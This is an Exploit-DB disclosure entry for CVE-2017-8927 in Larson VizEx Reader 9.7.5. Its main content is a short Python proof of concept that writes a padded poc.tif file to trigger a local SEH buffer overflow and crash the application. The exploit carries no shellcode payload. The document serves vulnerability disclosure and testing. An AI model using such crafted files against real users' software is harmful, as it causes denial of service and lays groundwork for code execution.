Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)

EDB-ID: 42002
Author: Muhann4d
Published: 2017-05-14
CVE: CVE-2017-8927
Type: Dos
Platform: Windows
Vulnerable App: Download Vulnerable Application

 # Exploit Title     : Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH) 
# Date : 14/05/2017
# Exploit Author : Muhann4d
# CVE : CVE-2017-8927
# Vendor Homepage : http://www.cgmlarson.com/
# Software Link : http://download.freedownloadmanager.org/Windows-PC/Larson-VizEx-Reader/FREE-9.7.5.html
# Affected Versions : 9.7.5
# Category : Denial of Service (DoS) Local
# Tested on OS : Windows 7 Professional SP1 32bit
# Proof of Concept : run the exploit, open the poc.tif file with Larson VizEx Reader 9.7.5

# Vendor has been cantacted but no reply

buf = "\x41" * 800
buff = "\x42" * 4
bufff = "\x43" * 4
buffff = "\x44" * 9999
f = open ("poc.tif", "w")
f.write(buf + buff + bufff + buffff)
f.close()

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